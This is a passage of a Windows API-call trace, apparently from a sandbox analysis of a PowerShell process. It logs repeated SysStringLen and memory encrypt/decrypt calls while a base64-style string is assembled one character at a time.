(param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822\xab17\x732f\xd5d0\x7576\xe060\x45de\xbebf\x4ef4") returned 0x30 [0133.810] SysStringLen (param_1="\x3760\x60fc\x572b\x76c9\xc17f\x5c62\x9be1\x6222\xdfb3\x8575\xd99f\xb336\x2386\xcdd9\xb343\xd0d0\x4d62\x9cba\xe3b3\xad9a\x6544\x36cf\xb9f4\xc0b2\xc892\xe445\x3425\x7981\xb873\xacc3\x2999\x303\xd185\x1561\x7ebe\x11c6\x17fd\xcf7a\x88b\x3822\xab17\x732f\xd5d0\x7576\xe060\x45de\xbebf\x4ef4") returned 0x30 [0133.810] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.810] SysStringLen (param_1="lKYO3vWc8zwQNtZRckfx38Gkmh6TFiEO0uFEXoKkv6E=팽䵰ࣱ") returned 0x30 [0133.810] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0133.810] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0133.810] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe0, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.811] SysStringLen (param_1="") returned 0x8 [0133.811] SysStringLen (param_1="Y") returned 0x8 [0133.811] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.811] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.811] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.811] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.811] SysStringLen (param_1="YW") returned 0x8 [0133.811] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.811] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.811] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0133.811] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.811] SysStringLen (param_1="YWM") returned 0x8 [0133.811] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.811] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.811] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0133.812] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.812] SysStringLen (param_1="YWM1") returned 0x8 [0133.812] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.812] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.812] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0133.812] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.812] SysStringLen (param_1="YWM1O") returned 0x8 [0133.812] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.812] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.812] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0133.812] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.812] SysStringLen (param_1="YWM1OT") returned 0x8 [0133.812] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.812] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.812] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0133.812] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.812] SysStringLen (param_1="YWM1OTE") returned 0x8 [0133.812] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.813] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.813] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0133.813] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.813] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0133.813] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.813] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.813] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.813] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0133.813] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0133.813] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.813] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0133.813] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0133.813] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.813] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0133.813] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0133.814] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.814] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0133.814] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0133.814] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.814] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0133.814] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0133.814] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.814] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0133.814] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0133.814] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.815] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0133.815] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0133.815] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.815] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0133.815] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0133.815] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.815] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0133.815] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0133.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0133.815] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0133.816] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0133.816] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0133.816] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0133.816] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0133.816] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.816] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0133.816] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.816] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0133.816] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0133.817] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.817] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0133.817] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0133.817] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.817] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0133.817] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0133.817] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.817] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0133.817] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.817] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0133.817] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.818] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0133.818] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.818] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.818] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.818] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0133.818] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0133.818] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.818] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0133.818] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.818] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.818] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0133.818] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.819] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0133.819] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.819] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.819] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0133.819] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.819] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0133.819] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.819] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.819] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0133.819] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.819] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0133.819] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.819] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.819] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0133.819] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.819] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0133.819] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.820] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.820] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.820] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.820] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.820] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.820] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.820] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.820] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") 